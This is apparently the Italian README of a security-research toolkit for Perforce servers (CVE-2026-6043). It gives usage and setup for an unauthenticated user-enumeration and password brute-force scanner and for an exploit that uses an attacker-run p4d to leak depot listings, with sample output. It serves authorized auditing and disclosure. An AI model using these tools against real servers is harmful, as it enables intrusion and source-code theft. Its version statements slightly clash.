
Ricerca sulla sicurezza di Perforce e strumenti - CVE-2026-6043
Strumenti di ricerca sulla sicurezza di Perforce (Helix Core) e nuclei templates.
Articolo di ricerca: https://morganrobertson.net/p4wned/
Leggi il link sopra per i dettagli completi.
Solo destinazioni autorizzate. Usalo sui tuoi server o con esplicita autorizzazione scritta.
Destinatari: Amministratori di server Perforce, penetration tester, ingegneri della sicurezza
Aggiornamento maggio 2026: Perforce 2026.1 è stato rilasciato. Questa versione include impostazioni predefinite sicure! Siamo molto soddisfatti di questo rilascio per proteggere la proprietà intellettuale degli sviluppatori. Leggi di più qui.
Nota: Questi strumenti cercano le configurazioni errate risultanti da CVE-2026-6043.
| Strumento | Richiede |
|---|---|
p4wned.py | Python 3, binario CLI p4 (vedi sotto) |
p4ghost.py | Python 3, binario CLI p4, istanza p4d locale (vedi setup sotto) |
p4-auth-hammer | g++, API C++ di Perforce, OpenSSL 1.1.1 (vedi p4-auth-hammer/README.md) |
| Strumenti JavaScript | Node.js (nessuna dipendenza esterna) |
| Nuclei templates | Nuclei v3+ |
| Moduli Metasploit | Metasploit Framework |
Acquisizione del binario p4 (richiesto da p4wned.py e p4ghost.py):
# Subject to Perforce terms of use: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4
I server Perforce espongono un protocollo TCP binario personalizzato (porta predefinita 1666). Molte installazioni vengono fornite con impostazioni predefinite insicure — elenco utenti non autenticato, divulgazione di informazioni del server, depo remoti accessibili, nessun requisito di password e nessuna limitazione del tasso di tentativi di accesso. Tutti gli strumenti qui sfruttano queste impostazioni predefinite senza richiedere credenziali.
Lo scanner principale. Utilizza il binario CLI p4 per enumerare gli utenti, testare le credenziali, elencare i depo e produrre un report.
python3 p4wned.py [-brute] [-audit] [-parallel N]
Opzioni:
| Flag | Descrizione |
|---|---|
-brute | Abilita la modalità forza bruta — testa le password su tutti gli account utente scoperti |
-audit | Modalità di audit approfondita — continua a testare tutti gli utenti anche dopo aver trovato una vulnerabilità |
-parallel N | Numero di tentativi di password paralleli (predefinito: 1) |
Configurazione (modifica all'inizio dello script):
| Variabile | Descrizione |
|---|---|
INPUT_FILE | Elenco target (ip:port, uno per riga) — predefinito perforce-servers.txt |
P4_CMD | Percorso del binario p4 — predefinito ./p4 |
TOP_PASSWORDS_FILE | Wordlist per forza bruta — predefinito top-passwords.txt |
KNOWN_CREDS_FILE | Coppie di credenziali note da provare per prime |
REPORT_FILE | Percorso del report di output |
Cosa fa:
run.users.authorize=0)super sugli account compromessiOutput console:
$ python3 p4wned.py
___ _ _ __ __ __ __ ___
/ _ \ || |/ / /\ \ \/\ \ \/__\/ \
/ /_)/ || |\ \/ \/ / \/ /_\ / /\ /
/ ___/|__ _\ /\ / /\ //__/ /_//
\/ |_| \/ \/\_\ \/\__/___,'
P4WNED - 0wning P4 servers via shit security defaults since Y2K+25
· Sniffs out user accounts, blank passwords, weak creds, and dumb settings.
· Confirms depots access and those juicy "super" user accounts.
· Drops a tidy report so you can fix the mess before the Skids arrive
Authorised targets only, brotendo. Use on your own servers or at your own risk.
==============================================================================
=== Processing: 192.0.2.10:1666 (perforce.example-studio.com) ===
[INFO] Testing user 'super' for security issues...
[INFO] User 'super' does not exist.
[INFO] Users listing accessible: build, designer1, jsmith, lead_prog, svc_build
[INFO] Testing user 'build' for security issues...
[INFO] Testing user 'designer1' for security issues...
[INFO] Testing user 'jsmith' for security issues...
[INFO] Testing user 'lead_prog' for security issues...
[INFO] Testing user 'svc_build' for security issues...
[INFO] Added new credential for 192.0.2.10:1666: user='svc_build', password='None'
[INFO] Saving updated credentials after finding valid credentials for svc_build on 192.0.2.10:1666
[INFO] Report saved to perforce-report-p4wned-1775436520.txt
File report (perforce-report-p4wned-*.txt):
Perforce Security Scan Report
Server: 192.0.2.10:1666 (perforce.example-studio.com)
Status: Insecure
Note: Insecure via user 'svc_build' (no password)
== Depots ==
Depot depot 2025/11/03 local depot/... 'Default depot'
Depot assets 2024/08/19 local assets/... 'Asset depot'
== Last 10 Changes ==
Change 1047 on 2025/11/03 14:22:11 by lead_prog@DESKTOP-BUILD01
Merge branch feature/ai-pathfinding
Change 1046 on 2025/11/03 09:44:38 by designer1@DESKTOP-ART02
Updated character rig exports
== Depot Details ==
Depot: depot
-- Root Directories --
//depot/Source
//depot/Content
//depot/Config
This depot is a non-Unreal Engine Depot.
------------------------------------------------------------
Summary Report
Server: 192.0.2.10:1666 - Insecure - Note: Insecure via user 'svc_build' (no password)
Testa l'accesso remoto non autenticato ai depo tramite l'utente nascosto remote. L'exploit funziona eseguendo un'istanza p4d locale controllata dall'attaccante — il server target si riconnette ad essa come parte del protocollo server-to-server, perdendo nel processo l'elenco dei file del depo.
Setup (una tantum):
# Subject to Perforce terms of use: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r24.2/bin.linux26x86_64/p4d
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4d p4
# Start a plain ASCII p4d on port 1818 (used as the attacker's server)
mkdir p4root_attacker
./p4d -r ./p4root_attacker -p 1818 -d
# Start a unicode p4d on a separate port (1819) for unicode targets
mkdir p4root_attacker_unicode
./p4d -r ./p4root_attacker_unicode -xi # convert to unicode mode
./p4d -r ./p4root_attacker_unicode -p 1819 -d
python3 p4ghost.py <input_file> [-skipnolicense] [-report FILE] [-p4cmd PATH]
[-unicodeport PORT] [-nonunicodeport PORT] [-timeout SECS]
# Example invocation using the local attacker servers above
python3 p4ghost.py targets.txt -nonunicodeport 1818 -unicodeport 1819
Argomenti:
| Flag | Descrizione |
|---|---|
input_file | Elenco target (ip:port, uno per riga) |
-skipnolicense | Salta i server che restituiscono Server license: none |
-report FILE | Percorso del report di output |
-p4cmd PATH | Percorso del binario p4 (predefinito ./p4) |
-unicodeport PORT | Porta p4d unicode locale da usare come server dell'attaccante |
-nonunicodeport PORT | Porta p4d non unicode locale |
-timeout SECS | Timeout del comando |
Versioni interessate: Tutte le versioni precedenti alla 2025.1 con security < 4 (predefinito è 0).